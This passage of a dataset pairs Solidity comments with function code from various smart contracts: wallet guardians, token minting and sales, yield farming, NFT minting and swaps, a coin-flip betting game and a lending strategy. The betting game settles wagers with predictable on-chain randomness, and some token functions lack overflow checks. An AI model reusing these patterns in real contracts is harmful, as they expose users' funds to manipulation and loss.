}\r\n return isFound ? (true, updatedGuardians) : (false, _guardians);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Checks if an address is the owner of a guardian contract. \r\n * The method does not revert if the call to the owner() method consumes more then 5000 gas. \r\n * @param _guardian The guardian contract\r\n * @param _owner The owner to verify.\r\n */", "function_code": "function isGuardianOwner(address _guardian, address _owner) internal view returns (bool) {\r\n address owner = address(0);\r\n bytes4 sig = bytes4(keccak256(\"owner()\"));\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n let ptr := mload(0x40)\r\n mstore(ptr,sig)\r\n let result := staticcall(5000, _guardian, ptr, 0x20, ptr, 0x20)\r\n if eq(result, 1) {\r\n owner := mload(ptr)\r\n }\r\n }\r\n return owner == _owner;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev transfers tokens (ETH or ERC20) from a wallet.\r\n * @param _wallet The target wallet.\r\n * @param _token The address of the token to transfer.\r\n * @param _to The destination address\r\n * @param _amount The amoutnof token to transfer\r\n * @param _data The data for the transaction (only for ETH transfers)\r\n */", "function_code": "function transferToken(\r\n BaseWallet _wallet, \r\n address _token, \r\n address _to, \r\n uint256 _amount, \r\n bytes _data\r\n ) \r\n external \r\n onlyExecute \r\n onlyWhenUnlocked(_wallet) \r\n {\r\n // eth transfer to whitelist\r\n if(_token == ETH_TOKEN) {\r\n _wallet.invoke(_to, _amount, _data);\r\n emit Transfer(_wallet, ETH_TOKEN, _amount, _to, _data);\r\n }\r\n // erc20 transfer to whitelist\r\n else {\r\n bytes memory methodData = abi.encodeWithSignature(\"transfer(address,uint256)\", _to, _amount);\r\n _wallet.invoke(_token, 0, methodData);\r\n emit Transfer(_wallet, _token, _amount, _to, _data);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// *************** Implementation of RelayerModule methods ********************* //", "function_code": "function validateSignatures(BaseWallet _wallet, bytes _data, bytes32 _signHash, bytes _signatures) internal view returns (bool) {\r\n address lastSigner = address(0);\r\n address[] memory guardians = guardianStorage.getGuardians(_wallet);\r\n bool isGuardian = false;\r\n for (uint8 i = 0; i < _signatures.length / 65; i++) {\r\n address signer = recoverSigner(_signHash, _signatures, i);\r\n if(i == 0) {\r\n // AT: first signer must be owner\r\n if(!isOwner(_wallet, signer)) { \r\n return false;\r\n }\r\n }\r\n else {\r\n // \"AT: signers must be different\"\r\n if(signer <= lastSigner) { \r\n return false;\r\n }\r\n lastSigner = signer;\r\n (isGuardian, guardians) = GuardianUtils.isGuardian(guardians, signer);\r\n // \"AT: signatures not valid\"\r\n if(!isGuardian) { \r\n return false;\r\n }\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to mint tokens, and lock some of them with a release time\r\n * @param _to The address that will receive the minted tokens.\r\n * @param _amount The amount of tokens to mint.\r\n * @param _lockedAmount The amount of tokens to be locked.\r\n * @param _releaseTime The timestamp about to release, which could be set just once.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mintWithLock(address _to, uint256 _amount, uint256 _lockedAmount, uint256 _releaseTime) external returns (bool) {\r\n require(mintAgents[msg.sender] && totalSupply_.add(_amount) <= cap);\r\n require(_amount >= _lockedAmount);\r\n\r\n totalSupply_ = totalSupply_.add(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n lockedBalanceMap[_to] = lockedBalanceMap[_to] > 0 ? lockedBalanceMap[_to].add(_lockedAmount) : _lockedAmount;\r\n releaseTimeMap[_to] = releaseTimeMap[_to] > 0 ? releaseTimeMap[_to] : _releaseTime;\r\n emit Mint(_to, _amount);\r\n emit Transfer(address(0), _to, _amount);\r\n emit BalanceLocked(_to, _lockedAmount);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// Update reward variables of the given pool to be up-to-date.\n//function mint(uint256 amount) public onlyOwner{\n// bacon.mint(devaddr, amount);\n//}\n// Update reward variables of the given pool to be up-to-date.", "function_code": "function updatePool(uint256 _pid) public {\n doHalvingCheck(false);\n PoolInfo storage pool = poolInfo[_pid];\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 blockPassed = block.number.sub(pool.lastRewardBlock);\n uint256 baconReward = blockPassed\n .mul(baconPerBlock)\n .mul(pool.allocPoint)\n .div(totalAllocPoint);\n bacon.mint(devaddr, baconReward.div(20)); // 5%\n bacon.mint(address(this), baconReward);\n pool.accBaconPerShare = pool.accBaconPerShare.add(baconReward.mul(1e12).div(lpSupply));\n pool.lastRewardBlock = block.number;\n }", "version": "0.6.12"} {"comment": "// Deposit LP tokens to MasterChef for BACON allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user.amount.mul(pool.accBaconPerShare).div(1e12).sub(user.rewardDebt);\n safeBaconTransfer(msg.sender, pending);\n }\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\n user.amount = user.amount.add(_amount);\n user.rewardDebt = user.amount.mul(pool.accBaconPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "// swaps any combination of ERC-20/721/1155\n// User needs to approve assets before invoking swap", "function_code": "function multiAssetSwap(\r\n ERC20Details memory inputERC20s,\r\n ERC721Details[] memory inputERC721s,\r\n ERC1155Details[] memory inputERC1155s,\r\n MarketRegistry.BuyDetails[] memory buyDetails,\r\n ExchangeRegistry.SwapDetails[] memory swapDetails,\r\n address[] memory addrs // [changeIn, exchange, recipient]\r\n ) payable external {\r\n address[] memory _erc20AddrsIn;\r\n uint256[] memory _erc20AmountsIn;\r\n \r\n // transfer all tokens\r\n (_erc20AddrsIn, _erc20AmountsIn) = _transferHelper(\r\n inputERC20s,\r\n inputERC721s,\r\n inputERC1155s\r\n );\r\n\r\n // execute all swaps\r\n _swap(\r\n swapDetails,\r\n buyDetails,\r\n _erc20AmountsIn,\r\n _erc20AddrsIn,\r\n addrs[0],\r\n addrs[1],\r\n addrs[2]\r\n );\r\n }", "version": "0.8.0"} {"comment": "// Emergency function: In case any ERC1155 tokens get stuck in the contract unintentionally\n// Only owner can retrieve the asset balance to a recipient address", "function_code": "function rescueERC1155(address asset, uint256[] calldata ids, uint256[] calldata amounts, address recipient) onlyOwner external {\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n IERC1155(asset).safeTransferFrom(address(this), recipient, ids[i], amounts[i], \"\");\r\n }\r\n }", "version": "0.8.0"} {"comment": "// user buy PASS from contract with specific erc20 tokens", "function_code": "function mint() public nonReentrant returns (uint256 tokenId) {\n require(address(erc20) != address(0), \"FixPrice: erc20 address is null.\");\n require((tokenIdTracker.current() <= maxSupply), \"exceeds maximum supply\");\n\n tokenId = tokenIdTracker.current(); // accumulate the token id\n\n IERC20Upgradeable(erc20).safeTransferFrom(\n _msgSender(),\n address(this),\n rate\n );\n\n if (platform != address(0)) {\n IERC20Upgradeable(erc20).safeTransfer(\n platform,\n (rate * platformRate) / 100\n );\n }\n\n _safeMint(_msgSender(), tokenId); // mint PASS to user address\n emit Mint(_msgSender(), tokenId);\n\n tokenIdTracker.increment(); // automate token id increment\n }", "version": "0.8.4"} {"comment": "// withdraw erc20 tokens from contract\n// anyone can withdraw reserve of erc20 tokens to receivingAddress", "function_code": "function withdraw() public nonReentrant {\n if (address(erc20) == address(0)) {\n emit Withdraw(receivingAddress, _getBalance());\n\n (bool success, ) = payable(receivingAddress).call{value: _getBalance()}(\n \"\"\n );\n require(success, \"Failed to send Ether\");\n } else {\n uint256 amount = IERC20Upgradeable(erc20).balanceOf(address(this)); // get the amount of erc20 tokens reserved in contract\n IERC20Upgradeable(erc20).safeTransfer(receivingAddress, amount); // transfer erc20 tokens to contract owner address\n\n emit Withdraw(receivingAddress, amount);\n }\n }", "version": "0.8.4"} {"comment": "// -------------------------------------------------------- INTERNAL --------------------------------------------------------------------", "function_code": "function _requireValidPermit(\n address signer,\n address spender,\n uint256 id,\n uint256 deadline,\n uint256 nonce,\n bytes memory sig\n ) internal view {\n bytes32 digest = keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n _DOMAIN_SEPARATOR(),\n keccak256(abi.encode(PERMIT_TYPEHASH, spender, id, nonce, deadline))\n )\n );\n require(SignatureChecker.isValidSignatureNow(signer, digest, sig), \"INVALID_SIGNATURE\");\n }", "version": "0.8.9"} {"comment": "/// @dev Return the DOMAIN_SEPARATOR.", "function_code": "function _DOMAIN_SEPARATOR() internal view returns (bytes32) {\n uint256 chainId;\n //solhint-disable-next-line no-inline-assembly\n assembly {\n chainId := chainid()\n }\n\n // in case a fork happen, to support the chain that had to change its chainId,, we compute the domain operator\n return chainId == _deploymentChainId ? _deploymentDomainSeparator : _calculateDomainSeparator(chainId);\n }", "version": "0.8.9"} {"comment": "/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */", "function_code": "function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {\r\n require( _recipients.length > 0 && _recipients.length == _values.length);\r\n\r\n uint total = 0;\r\n for(uint i = 0; i < _values.length; i++){\r\n total = total.add(_values[i]);\r\n }\r\n require(total <= balances[msg.sender]);\r\n\r\n uint64 _now = uint64(now);\r\n for(uint j = 0; j < _recipients.length; j++){\r\n balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);\r\n transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));\r\n Transfer(msg.sender, _recipients[j], _values[j]);\r\n }\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(total);\r\n if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];\r\n if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "//*** Payable ***//", "function_code": "function() payable public {\r\n require(msg.value>0);\r\n require(msg.sender != 0x0);\r\n \r\n uint256 weiAmount;\r\n uint256 tokens;\r\n wallet=owner;\r\n \r\n if(isPreSale()){\r\n wallet=preSaleAddress;\r\n weiAmount=6000;\r\n }\r\n else if(isIco()){\r\n wallet=icoAddress;\r\n \r\n if((icoStart+(7*24*60*60)) >= now){\r\n weiAmount=4000;\r\n }\r\n else if((icoStart+(14*24*60*60)) >= now){\r\n weiAmount=3750;\r\n }\r\n else if((icoStart+(21*24*60*60)) >= now){\r\n weiAmount=3500;\r\n }\r\n else if((icoStart+(28*24*60*60)) >= now){\r\n weiAmount=3250;\r\n }\r\n else if((icoStart+(35*24*60*60)) >= now){\r\n weiAmount=3000;\r\n }\r\n else{\r\n weiAmount=2000;\r\n }\r\n }\r\n else{\r\n weiAmount=4000;\r\n }\r\n \r\n tokens=msg.value*weiAmount/1000000000000000000;\r\n Transfer(this, msg.sender, tokens);\r\n balanceOf[msg.sender]+=tokens;\r\n totalSupply=(totalSupply-tokens);\r\n wallet.transfer(msg.value);\r\n balanceOf[this]+=msg.value;\r\n\t}", "version": "0.4.19"} {"comment": "//*** Transfer From ***//", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n\t if(transfersEnabled){\r\n\t // Check if the sender has enough\r\n\t\t require(balanceOf[_from] >= _value);\r\n\t\t // Check allowed\r\n\t\t require(_value <= allowed[_from][msg.sender]);\r\n\r\n\t\t // Subtract from the sender\r\n\t\t balanceOf[_from] = (balanceOf[_from] - _value);\r\n\t\t // Add the same to the recipient\r\n\t\t balanceOf[_to] = (balanceOf[_to] + _value);\r\n\r\n\t\t allowed[_from][msg.sender] = (allowed[_from][msg.sender] - _value);\r\n\t\t Transfer(_from, _to, _value);\r\n\t\t return true;\r\n\t }\r\n\t else{\r\n\t return false;\r\n\t }\r\n\t}", "version": "0.4.19"} {"comment": "// @notice tokensale\n// @param recipient The address of the recipient\n// @return the transaction address and send the event as Transfer", "function_code": "function tokensale(address recipient) public payable {\r\n require(recipient != 0x0);\r\n\r\n uint256 weiAmount = msg.value;\r\n uint tokens = weiAmount.mul(getPrice());\r\n\r\n require(_leftSupply >= tokens);\r\n\r\n balances[owner] = balances[owner].sub(tokens);\r\n balances[recipient] = balances[recipient].add(tokens);\r\n\r\n _leftSupply = _leftSupply.sub(tokens);\r\n\r\n TokenPurchase(msg.sender, recipient, weiAmount, tokens);\r\n }", "version": "0.4.11"} {"comment": "// Token distribution to founder, develoment team, partners, charity, and bounty", "function_code": "function sendBPESOToken(address to, uint256 value) public onlyOwner {\r\n require (\r\n to != 0x0 && value > 0 && _leftSupply >= value\r\n );\r\n\r\n balances[owner] = balances[owner].sub(value);\r\n balances[to] = balances[to].add(value);\r\n _leftSupply = _leftSupply.sub(value);\r\n Transfer(owner, to, value);\r\n }", "version": "0.4.11"} {"comment": "// @notice send `value` token to `to` from `from`\n// @param from The address of the sender\n// @param to The address of the recipient\n// @param value The amount of token to be transferred\n// @return the transaction address and send the event as Transfer", "function_code": "function transferFrom(address from, address to, uint256 value) public {\r\n require (\r\n allowed[from][msg.sender] >= value && balances[from] >= value && value > 0\r\n );\r\n balances[from] = balances[from].sub(value);\r\n balances[to] = balances[to].add(value);\r\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);\r\n Transfer(from, to, value);\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @dev Joins and plays game.\r\n * @param _id Game id to join.\r\n * @param _referral Address for referral.\r\n * TESTED\r\n */", "function_code": "function joinAndPlayGame(uint256 _id, address _referral) external payable onlyNotCreator(_id) onlyAllowedToPlay {\r\n Game storage game = games[_id];\r\n require(game.creator != address(0), \"No game with such id\");\r\n require(game.winner == address(0), \"Game has winner\");\r\n require(game.bet == msg.value, \"Wrong bet\");\r\n require(_referral != msg.sender, \"Wrong referral\");\r\n\r\n addressBetTotal[msg.sender] = addressBetTotal[msg.sender].add(msg.value);\r\n\r\n game.opponent = msg.sender;\r\n if (_referral != address(0)) {\r\n game.opponentReferral = _referral;\r\n }\r\n\r\n // play\r\n uint8 coinSide = uint8(uint256(keccak256(abi.encodePacked(now, msg.sender, gamesCreatedAmount, totalUsedInGame,devFeePending))) %2);\r\n game.winner = (coinSide == game.creatorGuessCoinSide) ? game.creator : game.opponent;\r\n\r\n gamesWithPendingPrizeWithdrawalForAddress[game.winner].push(_id);\r\n\r\n raffleParticipants.push(game.creator);\r\n raffleParticipants.push(game.opponent);\r\n lastPlayTimestamp[msg.sender] = now;\r\n gamesCompletedAmount = gamesCompletedAmount.add(1);\r\n totalUsedInGame = totalUsedInGame.add(msg.value);\r\n participatedGameIdxsForPlayer[msg.sender].push(_id);\r\n delete ongoingGameIdxForCreator[game.creator];\r\n\r\n if (isTopGame(_id)) {\r\n removeTopGame(game.id);\r\n }\r\n\r\n emit CF_GamePlayed(_id, game.creator, game.opponent, game.winner, game.bet);\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev Withdraws prize for won game.\r\n * @param _maxLoop max loop.\r\n * TESTED\r\n */", "function_code": "function withdrawGamePrizes(uint256 _maxLoop) external {\r\n require(_maxLoop > 0, \"_maxLoop == 0\");\r\n \r\n uint256[] storage pendingGames = gamesWithPendingPrizeWithdrawalForAddress[msg.sender];\r\n require(pendingGames.length > 0, \"no pending\");\r\n require(_maxLoop <= pendingGames.length, \"wrong _maxLoop\");\r\n \r\n uint256 prizeTotal;\r\n for (uint256 i = 0; i < _maxLoop; i ++) {\r\n uint256 gameId = pendingGames[pendingGames.length.sub(1)];\r\n Game storage game = games[gameId];\r\n\r\n uint256 gamePrize = game.bet.mul(2);\r\n\r\n // referral\r\n address winnerReferral = (msg.sender == game.creator) ? game.creatorReferral : game.opponentReferral;\r\n if (winnerReferral == address(0)) {\r\n winnerReferral = owner();\r\n }\r\n uint256 referralFee = gamePrize.mul(FEE_PERCENT).div(100);\r\n referralFeesPending[winnerReferral] = referralFeesPending[winnerReferral].add(referralFee);\r\n totalUsedReferralFees = totalUsedReferralFees.add(referralFee);\r\n \r\n prizeTotal += gamePrize;\r\n pendingGames.pop();\r\n }\r\n\r\n addressPrizeTotal[msg.sender] = addressPrizeTotal[msg.sender].add(prizeTotal);\r\n \r\n uint256 singleFee = prizeTotal.mul(FEE_PERCENT).div(100);\r\n partnerFeePending = partnerFeePending.add(singleFee);\r\n ongoinRafflePrize = ongoinRafflePrize.add(singleFee);\r\n devFeePending = devFeePending.add(singleFee.mul(2));\r\n\r\n prizeTotal = prizeTotal.sub(singleFee.mul(5));\r\n msg.sender.transfer(prizeTotal);\r\n\r\n // partner transfer\r\n transferPartnerFee();\r\n\r\n emit CF_GamePrizesWithdrawn(msg.sender);\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * GameRaffle\r\n * TESTED\r\n */", "function_code": "function withdrawRafflePrizes() external override {\r\n require(rafflePrizePendingForAddress[msg.sender] > 0, \"No raffle prize\");\r\n\r\n uint256 prize = rafflePrizePendingForAddress[msg.sender];\r\n delete rafflePrizePendingForAddress[msg.sender];\r\n \r\n addressPrizeTotal[msg.sender] = addressPrizeTotal[msg.sender].add(prize);\r\n\r\n uint256 singleFee = prize.mul(FEE_PERCENT).div(100);\r\n partnerFeePending = partnerFeePending.add(singleFee);\r\n devFeePending = devFeePending.add(singleFee.mul(2));\r\n\r\n // transfer prize\r\n prize = prize.sub(singleFee.mul(3));\r\n msg.sender.transfer(prize);\r\n\r\n // partner transfer\r\n transferPartnerFee();\r\n\r\n emit CF_RafflePrizeWithdrawn(msg.sender, prize);\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev Adds game idx to the beginning of topGames.\r\n * @param _id Game idx to be added.\r\n * TESTED\r\n */", "function_code": "function addTopGame(uint256 _id) external payable onlyCreator(_id) {\r\n require(msg.value == minBet, \"Wrong fee\");\r\n require(topGames[0] != _id, \"Top in TopGames\");\r\n \r\n uint256[5] memory topGamesTmp = [_id, 0, 0, 0, 0];\r\n bool isIdPresent;\r\n for (uint8 i = 0; i < 4; i ++) {\r\n if (topGames[i] == _id && !isIdPresent) {\r\n isIdPresent = true;\r\n }\r\n topGamesTmp[i+1] = (isIdPresent) ? topGames[i+1] : topGames[i];\r\n }\r\n topGames = topGamesTmp;\r\n devFeePending = devFeePending.add(msg.value);\r\n totalUsedInGame = totalUsedInGame.add(msg.value);\r\n\r\n emit CF_GameAddedToTop(_id, msg.sender);\r\n }", "version": "0.6.0"} {"comment": "/**\r\n * @dev Removes game idx from topGames.\r\n * @param _id Game idx to be removed.\r\n * TESTED\r\n */", "function_code": "function removeTopGame(uint256 _id) private {\r\n uint256[5] memory tmpArr;\r\n bool found;\r\n \r\n for(uint256 i = 0; i < 5; i ++) {\r\n if(topGames[i] == _id) {\r\n found = true;\r\n } else {\r\n if (found) {\r\n tmpArr[i-1] = topGames[i];\r\n } else {\r\n tmpArr[i] = topGames[i];\r\n }\r\n }\r\n }\r\n\r\n require(found, \"Not TopGame\");\r\n topGames = tmpArr;\r\n }", "version": "0.6.0"} {"comment": "/// @notice give the list of owners for the list of ids given.\n/// @param ids The list if token ids to check.\n/// @return addresses The list of addresses, corresponding to the list of ids.", "function_code": "function owners(uint256[] calldata ids) external view returns (address[] memory addresses) {\n addresses = new address[](ids.length);\n for (uint256 i = 0; i < ids.length; i++) {\n uint256 id = ids[i];\n addresses[i] = address(uint160(_owners[id]));\n }\n }", "version": "0.8.9"} {"comment": "/// @notice mint one of bleep if not already minted. Can only be called by `minter`.\n/// @param id bleep id which represent a pair of (note, instrument).\n/// @param to address that will receive the Bleep.", "function_code": "function mint(uint16 id, address to) external {\n require(msg.sender == minter, \"ONLY_MINTER_ALLOWED\");\n require(id < 1024, \"INVALID_BLEEP\");\n\n require(to != address(0), \"NOT_TO_ZEROADDRESS\");\n require(to != address(this), \"NOT_TO_THIS\");\n address owner = _ownerOf(id);\n require(owner == address(0), \"ALREADY_CREATED\");\n _safeTransferFrom(address(0), to, id, \"\");\n }", "version": "0.8.9"} {"comment": "/// @notice mint multiple bleeps if not already minted. Can only be called by `minter`.\n/// @param ids list of bleep id which represent each a pair of (note, instrument).\n/// @param to address that will receive the Bleeps.", "function_code": "function multiMint(uint16[] calldata ids, address to) external {\n require(msg.sender == minter, \"ONLY_MINTER_ALLOWED\");\n require(to != address(0), \"NOT_TO_ZEROADDRESS\");\n require(to != address(this), \"NOT_TO_THIS\");\n\n for (uint256 i = 0; i < ids.length; i++) {\n uint256 id = ids[i];\n require(id < 1024, \"INVALID_BLEEP\");\n address owner = _ownerOf(id);\n require(owner == address(0), \"ALREADY_CREATED\");\n _safeTransferFrom(address(0), to, id, \"\");\n }\n }", "version": "0.8.9"} {"comment": "//management functions\n//add lenders for the strategy to choose between\n// only governance to stop strategist adding dodgy lender", "function_code": "function addLender(address a) public onlyGovernance {\r\n IGenericLender n = IGenericLender(a);\r\n require(n.strategy() == address(this), \"Undocked Lender\");\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n require(a != address(lenders[i]), \"Already Added\");\r\n }\r\n lenders.push(n);\r\n }", "version": "0.6.12"} {"comment": "//force removes the lender even if it still has a balance", "function_code": "function _removeLender(address a, bool force) internal {\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n if (a == address(lenders[i])) {\r\n bool allWithdrawn = lenders[i].withdrawAll();\r\n\r\n if (!force) {\r\n require(allWithdrawn, \"WITHDRAW FAILED\");\r\n }\r\n\r\n //put the last index here\r\n //remove last index\r\n if (i != lenders.length - 1) {\r\n lenders[i] = lenders[lenders.length - 1];\r\n }\r\n\r\n //pop shortens array by 1 thereby deleting the last index\r\n lenders.pop();\r\n\r\n //if balance to spend we might as well put it into the best lender\r\n if (want.balanceOf(address(this)) > 0) {\r\n adjustPosition(0);\r\n }\r\n return;\r\n }\r\n }\r\n require(false, \"NOT LENDER\");\r\n }", "version": "0.6.12"} {"comment": "//Returns the status of all lenders attached the strategy", "function_code": "function lendStatuses() public view returns (lendStatus[] memory) {\r\n lendStatus[] memory statuses = new lendStatus[](lenders.length);\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n lendStatus memory s;\r\n s.name = lenders[i].lenderName();\r\n s.add = address(lenders[i]);\r\n s.assets = lenders[i].nav();\r\n s.rate = lenders[i].apr();\r\n statuses[i] = s;\r\n }\r\n\r\n return statuses;\r\n }", "version": "0.6.12"} {"comment": "//the weighted apr of all lenders. sum(nav * apr)/totalNav", "function_code": "function estimatedAPR() public view returns (uint256) {\r\n uint256 bal = estimatedTotalAssets();\r\n if (bal == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 weightedAPR = 0;\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n weightedAPR = weightedAPR.add(lenders[i].weightedApr());\r\n }\r\n\r\n return weightedAPR.div(bal);\r\n }", "version": "0.6.12"} {"comment": "//Estimates the impact on APR if we add more money. It does not take into account adjusting position", "function_code": "function _estimateDebtLimitIncrease(uint256 change) internal view returns (uint256) {\r\n uint256 highestAPR = 0;\r\n uint256 aprChoice = 0;\r\n uint256 assets = 0;\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n uint256 apr = lenders[i].aprAfterDeposit(change);\r\n if (apr > highestAPR) {\r\n aprChoice = i;\r\n highestAPR = apr;\r\n assets = lenders[i].nav();\r\n }\r\n }\r\n\r\n uint256 weightedAPR = highestAPR.mul(assets.add(change));\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n if (i != aprChoice) {\r\n weightedAPR = weightedAPR.add(lenders[i].weightedApr());\r\n }\r\n }\r\n\r\n uint256 bal = estimatedTotalAssets().add(change);\r\n\r\n return weightedAPR.div(bal);\r\n }", "version": "0.6.12"} {"comment": "//Estimates debt limit decrease. It is not accurate and should only be used for very broad decision making", "function_code": "function _estimateDebtLimitDecrease(uint256 change) internal view returns (uint256) {\r\n uint256 lowestApr = uint256(-1);\r\n uint256 aprChoice = 0;\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n uint256 apr = lenders[i].aprAfterDeposit(change);\r\n if (apr < lowestApr) {\r\n aprChoice = i;\r\n lowestApr = apr;\r\n }\r\n }\r\n\r\n uint256 weightedAPR = 0;\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n if (i != aprChoice) {\r\n weightedAPR = weightedAPR.add(lenders[i].weightedApr());\r\n } else {\r\n uint256 asset = lenders[i].nav();\r\n if (asset < change) {\r\n //simplistic. not accurate\r\n change = asset;\r\n }\r\n weightedAPR = weightedAPR.add(lowestApr.mul(change));\r\n }\r\n }\r\n uint256 bal = estimatedTotalAssets().add(change);\r\n return weightedAPR.div(bal);\r\n }", "version": "0.6.12"} {"comment": "//gives estiomate of future APR with a change of debt limit. Useful for governance to decide debt limits", "function_code": "function estimatedFutureAPR(uint256 newDebtLimit) public view returns (uint256) {\r\n uint256 oldDebtLimit = vault.strategies(address(this)).totalDebt;\r\n uint256 change;\r\n if (oldDebtLimit < newDebtLimit) {\r\n change = newDebtLimit - oldDebtLimit;\r\n return _estimateDebtLimitIncrease(change);\r\n } else {\r\n change = oldDebtLimit - newDebtLimit;\r\n return _estimateDebtLimitDecrease(change);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * Key logic.\r\n * The algorithm moves assets from lowest return to highest\r\n * like a very slow idiots bubble sort\r\n * we ignore debt outstanding for an easy life\r\n */", "function_code": "function adjustPosition(uint256 _debtOutstanding) internal override {\r\n _debtOutstanding; //ignored. we handle it in prepare return\r\n //emergency exit is dealt with at beginning of harvest\r\n if (emergencyExit) {\r\n return;\r\n }\r\n\r\n //we just keep all money in want if we dont have any lenders\r\n if (lenders.length == 0) {\r\n return;\r\n }\r\n\r\n (uint256 lowest, uint256 lowestApr, uint256 highest, uint256 potential) = estimateAdjustPosition();\r\n\r\n if (potential > lowestApr) {\r\n //apr should go down after deposit so wont be withdrawing from self\r\n lenders[lowest].withdrawAll();\r\n }\r\n\r\n uint256 bal = want.balanceOf(address(this));\r\n if (bal > 0) {\r\n want.safeTransfer(address(lenders[highest]), bal);\r\n lenders[highest].deposit();\r\n }\r\n }", "version": "0.6.12"} {"comment": "//share must add up to 1000. 500 means 50% etc", "function_code": "function manualAllocation(lenderRatio[] memory _newPositions) public onlyAuthorized {\r\n uint256 share = 0;\r\n\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n lenders[i].withdrawAll();\r\n }\r\n\r\n uint256 assets = want.balanceOf(address(this));\r\n\r\n for (uint256 i = 0; i < _newPositions.length; i++) {\r\n bool found = false;\r\n\r\n //might be annoying and expensive to do this second loop but worth it for safety\r\n for (uint256 j = 0; j < lenders.length; j++) {\r\n if (address(lenders[j]) == _newPositions[i].lender) {\r\n found = true;\r\n }\r\n }\r\n require(found, \"NOT LENDER\");\r\n\r\n share = share.add(_newPositions[i].share);\r\n uint256 toSend = assets.mul(_newPositions[i].share).div(1000);\r\n want.safeTransfer(_newPositions[i].lender, toSend);\r\n IGenericLender(_newPositions[i].lender).deposit();\r\n }\r\n\r\n require(share == 1000, \"SHARE!=1000\");\r\n }", "version": "0.6.12"} {"comment": "//cycle through withdrawing from worst rate first", "function_code": "function _withdrawSome(uint256 _amount) internal returns (uint256 amountWithdrawn) {\r\n if (lenders.length == 0) {\r\n return 0;\r\n }\r\n\r\n //dont withdraw dust\r\n if (_amount < withdrawalThreshold) {\r\n return 0;\r\n }\r\n\r\n amountWithdrawn = 0;\r\n //most situations this will only run once. Only big withdrawals will be a gas guzzler\r\n uint256 j = 0;\r\n while (amountWithdrawn < _amount) {\r\n uint256 lowestApr = uint256(-1);\r\n uint256 lowest = 0;\r\n for (uint256 i = 0; i < lenders.length; i++) {\r\n if (lenders[i].hasAssets()) {\r\n uint256 apr = lenders[i].apr();\r\n if (apr < lowestApr) {\r\n lowestApr = apr;\r\n lowest = i;\r\n }\r\n }\r\n }\r\n if (!lenders[lowest].hasAssets()) {\r\n return amountWithdrawn;\r\n }\r\n amountWithdrawn = amountWithdrawn.add(lenders[lowest].withdraw(_amount - amountWithdrawn));\r\n j++;\r\n //dont want infinite loop\r\n if (j >= 6) {\r\n return amountWithdrawn;\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * Liquidate as many assets as possible to `want`, irregardless of slippage,\r\n * up to `_amountNeeded`. Any excess should be re-invested here as well.\r\n */", "function_code": "function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) {\r\n uint256 _balance = want.balanceOf(address(this));\r\n\r\n if (_balance >= _amountNeeded) {\r\n //if we don't set reserve here withdrawer will be sent our full balance\r\n return (_amountNeeded, 0);\r\n } else {\r\n uint256 received = _withdrawSome(_amountNeeded - _balance).add(_balance);\r\n if (received >= _amountNeeded) {\r\n return (_amountNeeded, 0);\r\n } else {\r\n return (received, 0);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "//Locks the contract for owner for the amount of time provided", "function_code": "function lock(uint256 time) public virtual onlyOwner {\r\n require(\r\n time <= (block.timestamp + 31536000),\r\n \"Only lockable for up to 1 year\"\r\n );\r\n\r\n _previousOwner = _owner;\r\n _owner = address(0);\r\n _lockTime = now + time;\r\n emit OwnershipTransferred(_owner, address(0));\r\n }", "version": "0.6.12"} {"comment": "// Removes an address from the circulating supply", "function_code": "function removeAddressFromSupply(address removedAddress) external onlyOwner() {\r\n uint256 id = removedFromCirculation.length;\r\n require(removedAddress != address(uniswapV2Router), \"Cannot add router (already accounted for)\");\r\n require(removedAddress != 0x000000000000000000000000000000000000dEaD || removedAddress != 0x0000000000000000000000000000000000000000, \"Cannot add burn address (already accounted for)\");\r\n \r\n removedAddressIndex[removedAddress] = id;\r\n 